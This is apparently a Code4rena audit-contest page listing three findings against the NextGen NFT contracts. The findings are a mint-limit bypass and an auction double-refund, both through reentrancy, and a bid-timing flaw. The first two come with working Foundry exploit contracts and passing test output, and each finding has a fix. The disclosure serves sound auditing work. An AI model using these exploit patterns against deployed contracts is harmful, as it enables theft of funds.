Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 122/243
Findings: 3
Award: $11.12
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L196#L254 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L227#L232
All behaviors that modify a storage variable after safeMint can potentially lead to reentrancy vulnerabilities. This allows malicious users to bypass the quantity limit, enabling them to mint an arbitrary number of tokens.
All the mint operations will invoke _mintProcessing
:
function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal { tokenData[_mintIndex] = _tokenData; collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); tokenIdsToCollectionIds[_mintIndex] = _collectionID; _safeMint(_recipient, _mintIndex); }
And dive into _safeMint we can see _checkOnERC721Received , if target address is an contract the protocol invoke onERC721Received . Malicious user can invoke minter contract again here:
function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { /// @solidity memory-safe-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } }
Here goes my foundry test:
maxCollectionPurchases+1
directly which would revert Change no of tokens
maxCollectionPurchases
allowance limitationcontract Wallet
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; // import "../smart-contracts/IMinterContract.sol"; import "../smart-contracts/IERC721Receiver.sol"; interface IMinter{ function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external payable ; } contract AliceWallet is IERC721Receiver{ IMinter public minter; constructor(address _minter){ minter = IMinter(_minter); } function mintToken() public { bytes32[] memory merkleProof = new bytes32[](0); uint256 numberOfTokens = 10; minter.mint{value:10e18}(1,numberOfTokens,numberOfTokens,"",address(this),merkleProof,address(0),0); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4){ if(address(this).balance>0){ //invoke mint. uint256 numberOfTokens = 1; bytes32[] memory merkleProof = new bytes32[](0); minter.mint{value:1e18}(1,numberOfTokens,numberOfTokens,"",address(this),merkleProof,address(0),0); } return this.onERC721Received.selector; } }
Foundry Test Code:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console2} from "forge-std/Test.sol"; import "forge-std/StdError.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/XRandoms.sol"; import "./AliceWallet.sol"; contract ReentrancyTest is Test { NextGenAdmins public admin; NextGenMinterContract public minter; NextGenCore public gore; NextGenRandomizerNXT public nxt; randomPool public rdm; AliceWallet alice; uint256 maxCollectionPurchases = 10;//set max per address to 10. uint256 collectionTotalSupply = 100; function setUp() public { admin = new NextGenAdmins(); gore = new NextGenCore("_name","_symbol",address(admin)); minter = new NextGenMinterContract(address(gore),address(0),address(admin)); //init rdm rdm = new randomPool(); //init nxt nxt = new NextGenRandomizerNXT(address(rdm),address(admin),address(gore)); //add random gore.addRandomizer(1, address(nxt)); //add minter._checkOwner(); gore.addMinterContract(address(minter)); //create collection. string[] memory _collectionScript = new string[](0); gore.createCollection("col1","col1","","","","","",_collectionScript); gore.setCollectionData(1,address(this),maxCollectionPurchases,collectionTotalSupply,1 days); //set mint cost minter.setCollectionCosts(1,1e18,1e18,0,0,1,address(0)); //set public mint time period. uint256 publicStart = block.timestamp + 1 days; uint256 publicEnd = block.timestamp + 2 days; minter.setCollectionPhases(1,0,0,publicStart,publicEnd,""); //init wallet alice = new AliceWallet(address(minter)); } function testReentrancyAttack() public { //to public mint time period. vm.warp(block.timestamp + 1 days); vm.deal(address(alice), 11e18); //set merkleProof bytes32[] memory merkleProof = new bytes32[](0); vm.expectRevert("Change no of tokens"); minter.mint{value:11e18}(1,maxCollectionPurchases+1,maxCollectionPurchases+1,"",address(this),merkleProof,address(0),0); //use alice to mint maxCollectionPurchases+1 tokens alice.mintToken(); //we can see alice mint token exceed the per address allowance limitation. assert(gore.balanceOf(address(alice)) == maxCollectionPurchases+1); } }
Running 1 test for test/Reentrancy.t.sol:ReentrancyTest [PASS] testReentrancyAttack() (gas: 2423686) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.77ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
foundry,vscode
Use openzeppelin's ReentrancyGuard library to prevent similar reentry attacks. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
Reentrancy
#0 - c4-pre-sort
2023-11-20T06:29:23Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:01:59Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:35:19Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:40:15Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:20Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104#L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124#L130
Malicious user can steal the contract's fund through a reentrancy vulnerability
User participate in the bidding by paying ether to AuctionDemo contract, if the bid is not the highest, then the contract will refund the ether paid when winner invoke claimAuction to get his NFT.
The problem is that claimAuction
and cancelBid
can be done at the same time which is minter.getAuctionEndTime(_tokenid)
. Once Malicious user received his bid fund he can invoke cancelBid
to get the fund again。
This should include two types of attack methods.
cancelBid
to get his fund back after received NFT via onERC721Received
callbackcancelBid
to get his fund back via fallback
In the example below, I have demonstrated the second attack method.
Assume there are 2 participates malicious user and Alice who perform the following actions:
claimAuction
to claim NFTfunction cancelBid(uint256 _tokenid, uint256 index) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");<@audit require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true); auctionInfoData[_tokenid][index].status = false; (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}(""); emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid); }
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);<@audit auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}("");//@audit-info transfer token to owner. emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");//@audit cancel to get double pay back. emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
Above two function can be invoked at the same time
This is the malicious contract wallet:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; // import "../smart-contracts/IMinterContract.sol"; import "../smart-contracts/IERC721Receiver.sol"; interface IAuction{ function cancelBid(uint256 _tokenid, uint256 index) external ; function claimAuction(uint256 _tokenid) external ; function participateToAuction(uint256 _tokenid) external payable ; } contract MaliciousWallet{ IAuction public auction; uint256 tokenId; constructor(address _auction){ auction = IAuction(_auction); } function participate (uint256 _tokenid) public { tokenId = _tokenid; auction.participateToAuction{value:1e18}(_tokenid); } fallback() external payable { if(address(this).balance<2e18){ auction.cancelBid(tokenId,0); } } }
This is foundry test:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console2} from "forge-std/Test.sol"; import "forge-std/StdError.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/XRandoms.sol"; import "../smart-contracts/AuctionDemo.sol"; import "./malicious.sol"; contract AuctionAttackTest is Test { NextGenAdmins public admin; NextGenMinterContract public minter; NextGenCore public gore; NextGenRandomizerNXT public nxt; randomPool public rdm; auctionDemo public auction; MaliciousWallet malicious; address bob = vm.addr(1002); address alice = vm.addr(1003); uint256 maxCollectionPurchases = 10;//set max per address to 10. uint256 collectionTotalSupply = 100; function setUp() public { admin = new NextGenAdmins(); gore = new NextGenCore("_name","_symbol",address(admin)); minter = new NextGenMinterContract(address(gore),address(0),address(admin)); auction = new auctionDemo(address(minter),address(gore),address(admin)); //init rdm rdm = new randomPool(); //init nxt nxt = new NextGenRandomizerNXT(address(rdm),address(admin),address(gore)); //add random gore.addRandomizer(1, address(nxt)); //add minter._checkOwner(); gore.addMinterContract(address(minter)); //create collection. string[] memory _collectionScript = new string[](0); gore.createCollection("col1","col1","","","","","",_collectionScript); gore.setCollectionData(1,address(this),maxCollectionPurchases,collectionTotalSupply,1 days); //set mint cost minter.setCollectionCosts(1,1e18,1e18,0,1 days,1,address(0)); //set public mint time period. uint256 publicStart = block.timestamp + 1 days; uint256 publicEnd = block.timestamp + 2 days; minter.setCollectionPhases(1,publicStart,publicEnd,publicStart,publicEnd,""); //init MaliciousWallet malicious = new MaliciousWallet(address(auction)); } function testAuctionAttack() public { vm.warp(block.timestamp + 1 days); //mint and auction. minter.mintAndAuction(bob, "", 0, 1, block.timestamp + 1 days); uint256 tokenId = 10000000000; assert(gore.ownerOf(tokenId) == bob); vm.prank(bob); //set approve. gore.approve(address(auction), tokenId); //m user operations vm.startPrank(address(malicious)); vm.deal(address(malicious),1 ether); vm.deal(address(auction),1 ether); assert(address(malicious).balance == 1 ether); malicious.participate(tokenId); assert(address(malicious).balance == 0); vm.stopPrank(); vm.startPrank(alice); vm.deal(alice,2 ether); //participateToAuction auction.participateToAuction{value:2 ether}(tokenId); //to the end time. vm.warp(block.timestamp + 1 days); auction.claimAuction(tokenId); assert(address(malicious).balance == 2 ether); } }
we can see after above transaction MaliciousWallet claim 2 ether back however he only paid 1 ether.
foundry,vscode,manure review
Use openzeppelin's ReentrancyGuard library to prevent similar reentry attacks. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
Reentrancy
#0 - c4-pre-sort
2023-11-15T08:48:11Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:40:29Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:15:43Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: HChang26
Also found by: 0x3b, 0xMAKEOUTHILL, 0xSwahili, 0xarno, ABA, DeFiHackLabs, Eigenvectors, Haipls, Kow, MrPotatoMagic, Neon2835, Nyx, Zac, alexfilippov314, ayden, c3phas, immeas, innertia, lsaudit, merlin, mojito_auditor, oakcobalt, ohm, oualidpro, peanuts, phoenixV110, sces60107, t0x1c, tnquanghuy0512, ubl4nk, volodya, xAriextz
10.9728 USDC - $10.97
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L57#L61 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104#L120
The last bidder may lose his fund permanently due to the overlap between the time to participate in the auction and the time to claim the reward
function participateToAuction(uint256 _tokenid) public payable { require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); <---------@audit auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); }
From the code above we can see that the last point in time to participate in the bidding is minter.getAuctionEndTime(_tokenid)
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); <---------@audit auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}("");//@audit-info transfer token to owner. emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");//@audit cancel to get double pay back. emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
From the code above, we can see that the first time to claim a reward is minter.getAuctionEndTime(_tokenid)
. What happens if these two transactions are sent to the chain at the same time ?
The last bidder may lose his fund permanently
Assume the following scenario : There are 3 participants , bob 、 alice 、victims .
mintAndAuction
and set bob as the receiverclaimAuction
to get his reward.cancelAllBids
to get his funds back however his transaction would be revert.
Note that transaction 4 and 5 send to blockchain at the same time.Here is my POC from foundry:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console2} from "forge-std/Test.sol"; import "forge-std/StdError.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/XRandoms.sol"; import "../smart-contracts/AuctionDemo.sol"; contract AuctionAttackTest is Test { NextGenAdmins public admin; NextGenMinterContract public minter; NextGenCore public gore; NextGenRandomizerNXT public nxt; randomPool public rdm; auctionDemo public auction; address victims = vm.addr(1001); address bob = vm.addr(1002); address alice = vm.addr(1003); uint256 maxCollectionPurchases = 10;//set max per address to 10. uint256 collectionTotalSupply = 100; function setUp() public { admin = new NextGenAdmins(); gore = new NextGenCore("_name","_symbol",address(admin)); minter = new NextGenMinterContract(address(gore),address(0),address(admin)); auction = new auctionDemo(address(minter),address(gore),address(admin)); //init rdm rdm = new randomPool(); //init nxt nxt = new NextGenRandomizerNXT(address(rdm),address(admin),address(gore)); //add random gore.addRandomizer(1, address(nxt)); //add minter._checkOwner(); gore.addMinterContract(address(minter)); //create collection. string[] memory _collectionScript = new string[](0); gore.createCollection("col1","col1","","","","","",_collectionScript); gore.setCollectionData(1,address(this),maxCollectionPurchases,collectionTotalSupply,1 days); //set mint cost minter.setCollectionCosts(1,1e18,1e18,0,1 days,1,address(0)); //set public mint time period. uint256 publicStart = block.timestamp + 1 days; uint256 publicEnd = block.timestamp + 2 days; minter.setCollectionPhases(1,publicStart,publicEnd,publicStart,publicEnd,""); } function testLastParticipateAuctionAttack() public { vm.deal(address(alice),1 ether); vm.deal(address(bob),1 ether); vm.deal(address(victims),1.1 ether); vm.warp(block.timestamp + 1 days); //mint and auction. minter.mintAndAuction(bob, "", 0, 1, block.timestamp + 1 days); uint256 tokenId = 10000000000; assert(gore.ownerOf(tokenId) == bob); vm.prank(bob); //set approve. gore.approve(address(auction), tokenId); vm.startPrank(address(alice)); auction.participateToAuction{value:1 ether}(tokenId); //to the end time. vm.warp(block.timestamp + 1 days); //alice claim her reward. auction.claimAuction(tokenId); //victims send bid to blockchain. vm.stopPrank(); vm.startPrank(victims); auction.participateToAuction{value:1.1 ether}(tokenId); assert(victims.balance == 0); //after 1 block. vm.warp(block.timestamp + 1); //victims wants to cancel his bid. vm.expectRevert("Auction ended"); auction.cancelAllBids(tokenId); } }
Here is output:
[PASS] testLastParticipateAuctionAttack() (gas: 623787) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.56ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
foundry,vscode
The time for bidding and the time for claim rewards can't overlap.
function participateToAuction(uint256 _tokenid) public payable { - require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); + require(msg.value > returnHighestBid(_tokenid) && block.timestamp < minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); }
Timing
#0 - c4-pre-sort
2023-11-15T07:46:46Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:33:13Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:35:12Z
alex-ppg marked the issue as duplicate of #1926
#3 - c4-judge
2023-12-08T18:50:42Z
alex-ppg marked the issue as satisfactory
#4 - c4-judge
2023-12-09T00:21:41Z
alex-ppg changed the severity to 2 (Med Risk)